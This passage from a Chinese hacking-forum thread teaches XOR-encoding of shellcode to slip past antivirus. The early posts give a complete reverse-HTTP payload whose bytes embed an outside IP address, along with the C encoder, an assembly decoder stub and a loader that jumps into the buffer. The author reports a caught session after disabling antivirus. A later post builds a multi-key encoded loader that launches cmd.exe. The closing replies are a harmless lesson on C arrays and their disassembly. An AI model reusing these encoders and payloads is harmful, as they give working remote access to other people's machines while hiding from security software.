  23. "\x6a\xfb\x01\x82\x94\x61\x1e\x40\x85\x2d\x31\x06\x2d\x62\x22\xfa\x00\x55\x73\x65\x72\x2d\x41"
  24. "\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70"
  25. "\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f"
  26. "\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b"
  27. "\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x3b\x20\x42\x4f\x49"
  28. "\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x97\xd8\x20\x60\x52\xa4\x8b\xc5\x6b\xbc\xb7\xfc"
  29. "\xa8\xd8\x88\x4c\xf9\xa7\x49\x83\x03\x49\x1b\x4d\x3b\xfa\x0d\x33\xf2\x44\xfc\x58\x69\x9f\xbb"
  30. "\xe1\xbb\xe4\x30\x00\xd5\x64\x33\xea\x9b\x04\x7d\xc4\x36\xde\xcb\x60\xdb\xf2\x7c\x85\xa5\xfe"
  31. "\xfc\xaa\x17\x66\xc5\x6d\xaa\xda\x01\xec\x03\xad\xa1\x26\xe0\x12\xfb\xe1\x55\xa6\x38\xd8\xf9"
  32. "\x61\x0b\x27\x58\xca\xae\xc5\xf1\x07\x6b\xcb\xd6\x46\x5a\xe4\x50\x14\x1b\x38\xe0\xda\x62\x8c"
  33. "\x6e\xb8\xa7\x13\x87\x89\x02\x8e\x08\xb4\xd8\x52\xdc\x3e\x67\xde\xf5\x70\xb5\xee\x81\x96\x42"
  34. "\x82\x2b\x96\xbb\x35\x30\x6d\x01\x59\xec\x98\xe6\x76\x21\x13\xe7\x4d\x8f\x4f\xb3\xf1\x89\x53"
  35. "\xd3\xc4\xa6\xa3\xdf\x99\xf9\x80\x65\x8d\x5d\x30\x9d\xf7\x1a\x32\xd6\xfb\xb8\xf6\x59\x46\x26"
  36. "\xe1\x2c\xc8\xa8\xe8\x4b\x7c\x3d\x97\x59\x50\xd7\x93\x11\xe1\xd3\xcf\x9f\x08\x22\x9b\x00\x68"
  37. "\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53"
  38. "\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56"
  39. "\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9"
  40. "\xfd\xff\xff\x34\x37\x2e\x39\x34\x2e\x32\x34\x32\x2e\x31\x36\x00\x6f\xaa\x51\xc3";

  41. void main()
  42. {
  43.        
  44.         int i = 0, len = 797;   
  45.     FILE * fp;
  46.     //len=sizeof(shellcode)/sizeof(shellcode[0]);
  47.     unsigned char * output = (unsigned char *)malloc(len + 4);     
  48.     for (i = 0; i<len; i++)
  49.         output[i] = shellcode[i] ^ key;  
  50.     fp = fopen("./encode.txt", "w+");     
  51.     fprintf(fp, """);
  52.     for (i = 0; i<len; i++)
  53.     {
  54.         fprintf(fp, "\\x%0.2x", output[i]);
  55.         if ((i + 1) % 16 == 0)
  56.             fprintf(fp, ""\n"");
  57.     }
  58.     fprintf(fp, """);
  59.     fclose(fp);
  60.     printf("dump the encoded shellcode to encode.txt OK!\n");
  61.     free(output);

  62. }
复制代码
运行我们的程序,成功得到加密的shellcode
解密程序:
  1. __asm{
  2.                 add eax,24
  3.                 mov ecx,797
  4.                 xor edx,edx
  5. decode:
  6.                 mov bl,byte ptr ds:[eax+edx]
  7.                 xor bl,47h
  8.                 mov byte ptr ds:[eax+edx],bl
  9.                 inc edx
  10.                 loop decode
  11.         }

复制代码
797是我们加密后的shellcode长度,也就是encode数组长度,24是这段机器码长度,47h是key,来异或的
反汇编,找出这段程序的机器码,
把这段机器码放在加密后的shellcode前面
最终程序:
  1. #include "stdlib.h"
  2. #include "stdio.h"
  3. #include "string.h"

  4. char key=0x47;


  5. unsigned char encode[]="\x83\xC0\x18\xB9\x1d\x03\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x47\x3E\x88\x1C\x10\x42\xE2\xF2"
  6. "\xbb\xaf\xce\x47\x47\x47\x27\xce\xa2\x76\x95\x23\xcc\x15\x77\xcc"
  7. "\x15\x4b\xcc\x15\x53\xcc\x35\x6f\x48\xf0\x0d\x61\x76\xb8\x76\x87"
  8. "\xeb\x7b\x26\x3b\x45\x6b\x67\x86\x88\x4a\x46\x80\xa5\xb7\x15\x10"
  9. "\xcc\x15\x57\xcc\x05\x7b\x46\x97\xcc\x07\x3f\xc2\x87\x33\x0d\x46"
  10. "\x97\x17\xcc\x0f\x5f\xcc\x1f\x67\x46\x94\xa4\x7b\x0e\xcc\x73\xcc"
  11. "\x46\x91\x76\xb8\x76\x87\xeb\x86\x88\x4a\x46\x80\x7f\xa7\x32\xb3"
  12. "\x44\x3a\xbf\x7c\x3a\x63\x32\xa5\x1f\xcc\x1f\x63\x46\x94\x21\xcc"
  13. "\x4b\x0c\xcc\x1f\x5b\x46\x94\xcc\x43\xcc\x46\x97\xce\x03\x63\x63"
  14. "\x1c\x1c\x26\x1e\x1d\x16\xb8\xa7\x1f\x18\x1d\xcc\x55\xac\xc1\x1a"
  15. "\x2f\x29\x22\x33\x47\x2f\x30\x2e\x29\x2e\x13\x2f\x0b\x30\x61\x40"
  16. "\xb8\x92\x76\xb8\x10\x10\x10\x10\x10\x2f\x7d\x11\x3e\xe0\xb8\x92"
  17. "\xae\xc3\x47\x47\x47\x1c\x76\x8e\x16\x16\x2d\x44\x16\x16\x2f\xfc"
  18. "\x46\x47\x47\x14\x17\x2f\x10\xce\xd8\x81\xb8\x92\xac\x37\x1c\x76"
  19. "\x95\x15\x2f\x47\x45\x07\xc3\x15\x15\x15\x14\x15\x17\x2f\xac\x12"
  20. "\x69\x7c\xb8\x92\xce\x81\xc4\x84\x17\x76\xb8\x10\x10\x2d\xb8\x14"
  21. "\x11\x2f\x6a\x41\x5f\x3c\xb8\x92\xc2\x87\x48\xc3\x84\x46\x47\x47"
  22. "\x76\xb8\xc2\xb1\x33\x43\xce\xbe\xac\x4e\x2f\xed\x82\xa5\x1a\xb8"
  23. "\x92\xce\x86\x2f\x02\x66\x19\x76\xb8\x92\x76\xb8\x10\x2d\x40\x16"
  24. "\x11\x17\x2f\xf0\x10\xa7\x4c\xb8\x92\xf8\x47\x68\x47\x47\x7e\x80"
  25. "\x33\xf0\x76\xb8\xae\xd6\x46\x47\x47\xae\x8e\x46\x47\x47\xaf\xcc"
  26. "\xb8\xb8\xb8\x68\x36\x06\x15\x1f\x47\xf2\x70\x36\x8a\x71\x5b\x1c"
  27. "\x2a\xef\x6b\x71\x97\xbd\x7a\x1c\xa5\xc5\xe2\x08\xf9\x20\xb7\xd5"
  28. "\x2b\xab\x65\x28\xe7\x2f\x65\xd3\x76\xfe\xc6\xb2\xb9\x2f\x41\x43"
  29. "\x5d\xfb\x88\xe2\x9b\xba\xe7\x0e\x76\xe3\x33\x55\xf3\x52\x31\x0f"
  30. "\xb5\xc6\x2d\xbc\x46\xc5\xd3\x26\x59\x07\xc2\x6a\x76\x41\x6a\x25"
  31. "\x65\xbd\x47\x12\x34\x22\x35\x6a\x06\x20\x22\x29\x33\x7d\x67\x0a"
  32. "\x28\x3d\x2e\x2b\x2b\x26\x68\x73\x69\x77\x67\x6f\x24\x28\x2a\x37"
  33. "\x26\x33\x2e\x25\x2b\x22\x7c\x67\x0a\x14\x0e\x02\x67\x7f\x69\x77"
  34. "\x7c\x67\x10\x2e\x29\x23\x28\x30\x34\x67\x09\x13\x67\x72\x69\x76"
  35. "\x7c\x67\x13\x35\x2e\x23\x22\x29\x33\x68\x73\x69\x77\x7c\x67\x69"
  36. "\x09\x02\x13\x67\x04\x0b\x15\x67\x76\x69\x76\x69\x73\x74\x75\x75"
  37. "\x7c\x67\x05\x08\x0e\x02\x7f\x7c\x02\x09\x12\x14\x6e\x4a\x4d\x47"
  38. "\xd0\x9f\x67\x27\x15\xe3\xcc\x82\x2c\xfb\xf0\xbb\xef\x9f\xcf\x0b"
  39. "\xbe\xe0\x0e\xc4\x44\x0e\x5c\x0a\x7c\xbd\x4a\x74\xb5\x03\xbb\x1f"
  40. "\x2e\xd8\xfc\xa6\xfc\xa3\x77\x47\x92\x23\x74\xad\xdc\x43\x3a\x83"
  41. "\x71\x99\x8c\x27\x9c\xb5\x3b\xc2\xe2\xb9\xbb\xed\x50\x21\x82\x2a"
  42. "\xed\x9d\x46\xab\x44\xea\xe6\x61\xa7\x55\xbc\xa6\x12\xe1\x7f\x9f"
  43. "\xbe\x26\x4c\x60\x1f\x8d\xe9\x82\xb6\x40\x2c\x8c\x91\x01\x1d\xa3"
  44. "\x17\x53\x5c\x7f\xa7\x9d\x25\xcb\x29\xff\xe0\x54\xc0\xce\x45\xc9"
  45. "\x4f\xf3\x9f\x15\x9b\x79\x20\x99\xb2\x37\xf2\xa9\xc6\xd1\x05\xc5"
  46. "\x6c\xd1\xfc\x72\x77\x2a\x46\x1e\xab\xdf\xa1\x31\x66\x54\xa0\x0a"
  47. "\xc8\x08\xf4\xb6\xce\x14\x94\x83\xe1\xe4\x98\xde\xbe\xc7\x22\xca"
  48. "\x1a\x77\xda\xb0\x5d\x75\x91\xbc\xff\xb1\x1e\x01\x61\xa6\x6b\x8f"
  49. "\xef\xaf\x0c\x3b\x7a\xd0\x1e\x17\x90\xd4\x56\xa6\x94\x88\xd8\x4f"
  50. "\x65\xdc\x47\x2f\xb7\xf2\xe5\x11\xb8\x92\x2d\x07\x2f\x47\x57\x47"
  51. "\x47\x2f\x47\x47\x07\x47\x10\x2f\x1f\xe3\x14\xa2\xb8\x92\xd4\xfe"
  52. "\x47\x47\x47\x47\x46\x9e\x16\x14\xce\xa0\x10\x2f\x47\x67\x47\x47"
  53. "\x14\x11\x2f\x55\xd1\xce\xa5\xb8\x92\xc2\x87\x33\x81\xcc\x40\x46"
  54. "\x84\xc2\x87\x32\xa2\x1f\x84\xaf\xee\xba\xb8\xb8\x73\x70\x69\x7e"
  55. "\x73\x69\x75\x73\x75\x69\x76\x71\x47\x28\xed\x16\x84";

  56. void main()
  57. {
  58.         __asm{
  59.                 lea eax,encode
  60.                 push eax
  61.                 ret         
  62.         }
  63. }

复制代码
运行前把火绒、360等安全软件关了,运行,成功抓到



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-26 23:21:22 | 显示全部楼层
本帖最后由 DL_one 于 2020-2-28 22:23 编辑

解码后执行,执行后再解码



程序是弹出cmd

0x01将要执行的程序转成shellcode没有shellcode:
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"


  5. int main(int argc, char* argv[])
  6. {
  7.         printf("begin\n");
  8.     HINSTANCE libHandle;
  9.         char *dll="kernel32.dll";
  10.     libHandle=LoadLibrary(dll);
  11.         char *str="cmd.exe";
  12.         __asm{

  13.                 mov eax,str
  14.                 push 5                                ;5=SW_SHOW
  15.                 push eax
  16.                 mov eax,0x755bdab0        //call dword ptr [WinExec]
  17.                 call eax

  18.         }
  19.         return 0;

  20. }



复制代码
将汇编改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函数的地址,每个机子可能不一样,请查看下自己机子这个函数的地址(将mov eax,0x755bdab0改成call dword ptr [WinExec],当执行call dword ptr [WinExec]时,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],虽然也能弹出cmd,但是对后面有很大影响,我试了,解码后弹不出cmd
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"

  5. char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";
  6. int main(int argc, char* argv[])
  7. {

  8.         char *str="cmd.exe";
  9.         __asm{

  10.                 lea eax,shellcode
  11.                 call eax
  12.         }
  13.         return 0;

  14. }

复制代码
0x02用xor加密

我们用三个key加密,当然key的值可以更多,我们就用三个,值分别为0x51,0x47,0x81,根据密钥数分成3段
0x51对\x8B\x45\xFc加密,0x47对\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0x81对\xFF\xD0加密(一条语句的机器码不能分开),在每段后面加上\x90,加密后的shellcode为
  1. \xda\x14\xad\xc1\x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7\x7e\x51\x11
复制代码
加密程序为:
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"

  5. unsigned char decodeShellCode[20];
  6. unsigned char key=0x51;
  7. int main(int argc, char* argv[])
  8. {
  9.         char shell1[]="\x8B\x45\xFc\x90";
  10.         char shell2[]="\x6A\x05\x50\xB8\xB0\xDA\x90";
  11.         char shell3[]="\x50\x75\xFF\xD0\x90";

  12.         /*
  13.         char *str="cmd.exe";
  14.         __asm{

  15.                 lea eax,shellcode
  16.                 call eax
  17.         }
  18.         */

  19.         for (int i=0;i<4;i++)
  20.         {        
  21.                 printf("\\x%0.2x",shell1[i]);
  22.                 decodeShellCode[i]=shell1[i]^key;
  23.                 printf("\t");
  24.                 printf("\\x%0.2x",decodeShellCode[i]);
  25.                 printf("\n");

  26.         }
  27.         
  28.         return 0;

  29. }

复制代码

每次修改key值和加密那个数组就行,打印出来

0x03编写解密程序
  1. __asm{
  2.                 xor edx,edx
  3.                 mov bh,51h        //第一次xor的key
  4. decode:        mov bl,byte ptr ds:[ecx+edx]
  5.                 xor bl,bh
  6.                 mov byte ptr ds:[ecx+edx],bl
  7.                 inc edx
  8.                 cmp bl,90h
  9.                 je execute
  10.                 jmp decode

  11. execute:        
  12.                 add ecx,edx
  13.                 ret

  14.         }
复制代码
根据解码出来的数据是否为90h,来判断一段shellcode时候解密完,解密完ecx再加edx,ecx存放的是每段shellcode的首地址
0x04编写shellcode之间的代码
解密完一段程序后就去执行,所以段与段shellcode之间还要加上跳转到解码的代码,程序为:
  1. __asm{
  2.                 push edx        //将decode首地址也入栈
  3.                 add ecx,19        //这个是让ecx的值等于下一个shellcdoe首地址
  4.                
  5.                 push ecx        //下一个shellcode首地址压入栈
  6.                 push eax        //将eax压入栈中(因为我们执行的代码中利用eax进行,eax值不能变)
  7.                 mov eax,edx        //将decode首地址传给eax
  8.                 xor edx,edx
  9.                 mov bh,47h        //第二段key,各段shellcode的key不同,要修改
  10.                 call eax       
  11.                 pop eax
  12.                 pop ebx                //shellcode首地址
  13.                 pop edx                //decode首地址
  14.                 jmp ebx                //到shellcode出执行
  15.         }
复制代码
找出这段的机器码
最终程序:
  1. <div class="blockcode"><blockquote>#include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"

  5. unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3"
  6. "\xda\x14\xad\xc1"
  7. "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3"
  8. "\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7"
  9. "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3"
  10. "\x7e\x51\x11";


  11. int main(int argc, char* argv[])
  12. {
  13.         char *str="cmd.exe";
  14.        
  15.         __asm{
  16.                 //mov bh,51h
  17.                 lea ecx,encode                //获取encode+shellcode编码的地址
  18.                 mov edx,ecx
  19.                 //mov edx,ecx
  20.                 add ecx,25                        //ecx存储第一个shellcode首地址,从xor edx,edx到ret,这段的机器码
  21.                 push ecx                        //第一个shellcode压入站首地址
  22.                 //mov  edx,ecx
  23.                 //push edx                       
  24.                 sub ecx,21                        //解码decode首地址,21第一个shellcode到解码的机器码数
  25.                 //mov edx,ecx
  26.                 push ecx                        //压入栈
  27.                 add ecx,21
  28.                 call edx                        //解码
  29.                 pop edx                                //解码首地址
  30.         //        pop ecx                               
  31.                 pop ebx                                //第一个shellccode首地址
  32.                 jmp ebx
  33.         }
复制代码

结果:





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
发表于 2020-2-26 23:55:17 | 显示全部楼层
本帖最后由 caiH 于 2020-2-27 00:33 编辑

原来是每段shellcode后面加上x90来判断,长见识了,但是如果遇到很长的shellcode怎样才能保证x90不会在加密之后的shellcode中出现,或者说对于比较长的shellcode该以什么作为结束标志。
回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-27 11:52:04 | 显示全部楼层
caiH 发表于 2020-2-26 23:55
原来是每段shellcode后面加上x90来判断,长见识了,但是如果遇到很长的shellcode怎样才能保证x90不会在加密 ...

也用x90结尾,根据解密出来是否为\x90来判断一段解密的结束
回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-3-3 10:00:57 | 显示全部楼层
本帖最后由 DL_one 于 2020-3-3 10:06 编辑

数组学习

0x01 初始化数组

1、没有初始化数组

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[4];
  5.         for (int i=0;i<4;i++)
  6.         {
  7.                 printf("%d\t",data[i]);
  8.         }
  9.        
  10.         return 0;
  11. }
复制代码

反汇编:

  1. 4:        int data[4];
  2. 5:        for (int i=0;i<4;i++)
  3. 00401028 C7 45 EC 00 00 00 00 mov         dword ptr [ebp-14h],0
  4. 0040102F EB 09                jmp         main+2Ah (0040103a)
  5. 00401031 8B 45 EC             mov         eax,dword ptr [ebp-14h]
  6. 00401034 83 C0 01             add         eax,1
  7. 00401037 89 45 EC             mov         dword ptr [ebp-14h],eax
  8. 0040103A 83 7D EC 04          cmp         dword ptr [ebp-14h],4
  9. 0040103E 7D 17                jge         main+47h (00401057)
  10. 6:        {
  11. 7:            printf("%d\t",data[i]);
  12. 00401040 8B 4D EC             mov         ecx,dword ptr [ebp-14h]
  13. 00401043 8B 54 8D F0          mov         edx,dword ptr [ebp+ecx*4-10h]
  14. 00401047 52                   push        edx
  15. 00401048 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  16. 0040104D E8 3E 00 00 00       call        printf (00401090)
  17. 00401052 83 C4 08             add         esp,8
  18. 8:        }
  19. 00401055 EB DA                jmp         main+21h (00401031)
  20. 9:
  21. 10:       return 0;
  22. 00401057 33 C0                xor         eax,eax
  23. 11:   }

复制代码

我们可以看到int data[4];没有生成机器码,说明cpu到这里不会干任何事情。从上面的输出结果可以得出,定义一个数组,会给这个数组分配内存空间,如果没有初始化,数组的内容是相应分配空间的内容,这里我们称之为垃圾值

  • jge:大于等于转移

2、部分初始化

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[4]={1,2};
  5.         for (int i=0;i<4;i++)
  6.         {
  7.                 printf("%d\t",data[i]);
  8.         }
  9.        
  10.         return 0;
  11. }
复制代码

反汇编:

  1. 4:        int data[4]={1,2};
  2. 00401028 C7 45 F0 01 00 00 00 mov         dword ptr [ebp-10h],1
  3. 0040102F C7 45 F4 02 00 00 00 mov         dword ptr [ebp-0Ch],2
  4. 00401036 33 C0                xor         eax,eax
  5. 00401038 89 45 F8             mov         dword ptr [ebp-8],eax
  6. 0040103B 89 45 FC             mov         dword ptr [ebp-4],eax
  7. 5:        for (int i=0;i<4;i++)
  8. 0040103E C7 45 EC 00 00 00 00 mov         dword ptr [ebp-14h],0
  9. 00401045 EB 09                jmp         main+40h (00401050)
  10. 00401047 8B 4D EC             mov         ecx,dword ptr [ebp-14h]
  11. 0040104A 83 C1 01             add         ecx,1
  12. 0040104D 89 4D EC             mov         dword ptr [ebp-14h],ecx
  13. 00401050 83 7D EC 04          cmp         dword ptr [ebp-14h],4
  14. 00401054 7D 17                jge         main+5Dh (0040106d)
  15. 6:        {
  16. 7:            printf("%d\t",data[i]);
  17. 00401056 8B 55 EC             mov         edx,dword ptr [ebp-14h]
  18. 00401059 8B 44 95 F0          mov         eax,dword ptr [ebp+edx*4-10h]
  19. 0040105D 50                   push        eax
  20. 0040105E 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  21. 00401063 E8 28 00 00 00       call        printf (00401090)
  22. 00401068 83 C4 08             add         esp,8
  23. 8:        }
  24. 0040106B EB DA                jmp         main+37h (00401047)
  25. 9:
  26. 10:       return 0;
  27. 0040106D 33 C0                xor         eax,eax
  28. 11:   }

复制代码

从下面这段代码可以看出,部分初始化,编译器会给数组分配连续的空间,将有值的部分赋值到相应的内存,没有初始化的,复制为0,这就是为什么上面的输出结果为什么后面没有赋值的是0

  1. 4:        int data[4]={1,2};
  2. 00401028 C7 45 F0 01 00 00 00 mov         dword ptr [ebp-10h],1
  3. 0040102F C7 45 F4 02 00 00 00 mov         dword ptr [ebp-0Ch],2
  4. 00401036 33 C0                xor         eax,eax
  5. 00401038 89 45 F8             mov         dword ptr [ebp-8],eax
  6. 0040103B 89 45 FC             mov         dword ptr [ebp-4],eax
复制代码

3、全部初始化数组

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[4]={1,2,3,4};
  5.         for (int i=0;i<4;i++)
  6.         {
  7.                 printf("%d\t",data[i]);
  8.         }
  9.        
  10.         return 0;
  11. }
复制代码
  1. 4:        int data[4]={1,2,3,4};
  2. 00401028 C7 45 F0 01 00 00 00 mov         dword ptr [ebp-10h],1
  3. 0040102F C7 45 F4 02 00 00 00 mov         dword ptr [ebp-0Ch],2
  4. 00401036 C7 45 F8 03 00 00 00 mov         dword ptr [ebp-8],3
  5. 0040103D C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
  6. 5:        for (int i=0;i<4;i++)
  7. 00401044 C7 45 EC 00 00 00 00 mov         dword ptr [ebp-14h],0
  8. 0040104B EB 09                jmp         main+46h (00401056)
  9. 0040104D 8B 45 EC             mov         eax,dword ptr [ebp-14h]
  10. 00401050 83 C0 01             add         eax,1
  11. 00401053 89 45 EC             mov         dword ptr [ebp-14h],eax
  12. 00401056 83 7D EC 04          cmp         dword ptr [ebp-14h],4
  13. 0040105A 7D 17                jge         main+63h (00401073)
  14. 6:        {
  15. 7:            printf("%d\t",data[i]);
  16. 0040105C 8B 4D EC             mov         ecx,dword ptr [ebp-14h]
  17. 0040105F 8B 54 8D F0          mov         edx,dword ptr [ebp+ecx*4-10h]
  18. 00401063 52                   push        edx
  19. 00401064 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  20. 00401069 E8 22 00 00 00       call        printf (00401090)
  21. 0040106E 83 C4 08             add         esp,8
  22. 8:        }
  23. 00401071 EB DA                jmp         main+3Dh (0040104d)
  24. 9:
  25. 10:       return 0;
  26. 00401073 33 C0                xor         eax,eax

复制代码

可以看出如果一开始全部初始化数组,会立即分配连续空间给数组,每个空间赋值为数组相应位置的值

4、总结

不初始化数组,数组元素存储的是垃圾值;部分初始化数组,剩余的被初始化为0;全部初始化,将值赋值到相应内存空间,而且数组的物理地址连续

0x02多维数组是如何分配空间的

多维数组的初始化情况和一维数组一样,那么多维数组是如何分配空间的呢?我们以二维数组为列:

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[2][2]={{1,2},{3,4}};
  5.        
  6.         return 0;
  7. }
复制代码

反汇编:

  1. 4:        int data[2][2]={{1,2},{3,4}};
  2. 00401028 C7 45 F0 01 00 00 00 mov         dword ptr [ebp-10h],1
  3. 0040102F C7 45 F4 02 00 00 00 mov         dword ptr [ebp-0Ch],2
  4. 00401036 C7 45 F8 03 00 00 00 mov         dword ptr [ebp-8],3
  5. 0040103D C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
  6. 5:
  7. 6:        return 0;
  8. 00401044 33 C0                xor         eax,eax
  9. 7:    }

复制代码

我们可以看出先将1,2存到连续空间。再将3,4存到接下来的空间(数组的内存空间是连续的),所以这就是为什么上课时老师说把二维数组当成一维数组来理解了,data[0]和data[1]分别为一个一维数组,二维数组按照从左到右,从上到下存储,地址连续


int data[2][2]:data是一个两个元素的数组,每个元素内含2个int类型元素的数组

data的首地址是data[0],data[0]是一个内含2个int类型值的数组,所以data[1]也是这样

0x03 指针和数组

1、一维数组
我们知道数组名是数组的首地址,可为什么呢?接下来我们分析

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[4]={1,3,7,4};
  5.         int *p;
  6.         p=data;
  7.         printf("%d\n",p[0]);
  8.         printf("%d\n",*p+2);
  9.         printf("%d\n",*(p+2));
  10.         return 0;
  11. }
复制代码

反汇编:

  1. 4:        int data[4]={1,3,7,4};
  2. 0040D738 C7 45 F0 01 00 00 00 mov         dword ptr [ebp-10h],1
  3. 0040D73F C7 45 F4 03 00 00 00 mov         dword ptr [ebp-0Ch],3
  4. 0040D746 C7 45 F8 07 00 00 00 mov         dword ptr [ebp-8],7
  5. 0040D74D C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
  6. 5:        int *p;
  7. 6:        p=data;
  8. 0040D754 8D 45 F0             lea         eax,[ebp-10h]
  9. 0040D757 89 45 EC             mov         dword ptr [ebp-14h],eax
  10. 7:        printf("%d\n",p[0]);
  11. 0040D75A 8B 4D EC             mov         ecx,dword ptr [ebp-14h]
  12. 0040D75D 8B 11                mov         edx,dword ptr [ecx]
  13. 0040D75F 52                   push        edx
  14. 0040D760 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  15. 0040D765 E8 26 39 FF FF       call        printf (00401090)
  16. 0040D76A 83 C4 08             add         esp,8
  17. 8:        printf("%d\n",*p+2);
  18. 0040D76D 8B 45 EC             mov         eax,dword ptr [ebp-14h]
  19. 0040D770 8B 08                mov         ecx,dword ptr [eax]
  20. 0040D772 83 C1 02             add         ecx,2
  21. 0040D775 51                   push        ecx
  22. 0040D776 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  23. 0040D77B E8 10 39 FF FF       call        printf (00401090)
  24. 0040D780 83 C4 08             add         esp,8
  25. 9:        printf("%d\n",*(p+2));
  26. 0040D783 8B 55 EC             mov         edx,dword ptr [ebp-14h]
  27. 0040D786 8B 42 08             mov         eax,dword ptr [edx+8]
  28. 0040D789 50                   push        eax
  29. 0040D78A 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  30. 0040D78F E8 FC 38 FF FF       call        printf (00401090)
  31. 0040D794 83 C4 08             add         esp,8
  32. 10:       return 0;
  33. 0040D797 33 C0                xor         eax,eax
复制代码

从数组初始化我们看不出来data是数组的首地址吗,但可以从p=data看出

  1. 6:        p=data;
  2. 0040D754 8D 45 F0             lea         eax,[ebp-10h]
  3. 0040D757 89 45 EC             mov         dword ptr [ebp-14h],eax
复制代码

把 [ebp-10h]偏移地址给eax,eax再赋值给dword ptr [ebp-14h],ebp-10h是第一个元素1的地址,所以data是数组首地址,我们将data值赋值给p,此时p和data可以看成等同的,p[0]就是data[0]。


指针加1是增加一个存储单元,比如说*(p+2),p+2就是增加两个存储单元(int是4byte),所以输出*(p+2)是7

输出p+2,此时p是1,加2是3所以会输出3

2、多维数组

以二维数组为例

  1. #include "stdio.h"
  2. int main(void)
  3. {
  4.         int data[3][3]={{1,2,3},{4,5,6},{7,8,9}};
  5.         int (* p)[3];                        //指向一个含有3个int类型的数组
  6.         p=data;
  7.         printf("%d\n",p);
  8.         printf("%d\n",*p);
  9.         printf("%d\n",*(p+1));
  10.         printf("%d\n",**p);
  11.         printf("%d\n",p[0]);
  12.         printf("%d\n",*p[0]);
  13.         return 0;
  14. }
复制代码

反汇编:

  1. 4:        int data[3][3]={{1,2,3},{4,5,6},{7,8,9}};
  2. 0040D738 C7 45 DC 01 00 00 00 mov         dword ptr [ebp-24h],1
  3. 0040D73F C7 45 E0 02 00 00 00 mov         dword ptr [ebp-20h],2
  4. 0040D746 C7 45 E4 03 00 00 00 mov         dword ptr [ebp-1Ch],3
  5. 0040D74D C7 45 E8 04 00 00 00 mov         dword ptr [ebp-18h],4
  6. 0040D754 C7 45 EC 05 00 00 00 mov         dword ptr [ebp-14h],5
  7. 0040D75B C7 45 F0 06 00 00 00 mov         dword ptr [ebp-10h],6
  8. 0040D762 C7 45 F4 07 00 00 00 mov         dword ptr [ebp-0Ch],7
  9. 0040D769 C7 45 F8 08 00 00 00 mov         dword ptr [ebp-8],8
  10. 0040D770 C7 45 FC 09 00 00 00 mov         dword ptr [ebp-4],9
  11. 5:        int (* p)[3];
  12. 6:        p=data;
  13. 0040D777 8D 45 DC             lea         eax,[ebp-24h]
  14. 0040D77A 89 45 D8             mov         dword ptr [ebp-28h],eax
  15. 7:        printf("%d\n",p);
  16. 0040D77D 8B 4D D8             mov         ecx,dword ptr [ebp-28h]
  17. 0040D780 51                   push        ecx
  18. 0040D781 68 1C 20 42 00       push        offset string "%d\t" (0042201c)
  19. 0040D786 E8 05 39 FF FF       call        printf (00401090)
  20. 0040D78B 83 C4 08             add         esp,8
  21. 8:        printf("%d\n",*p);
  22. 0040D78E 8B 55 D8             mov         edx,dword ptr [ebp-28h]
  23. 0040D791 52                   push        edx
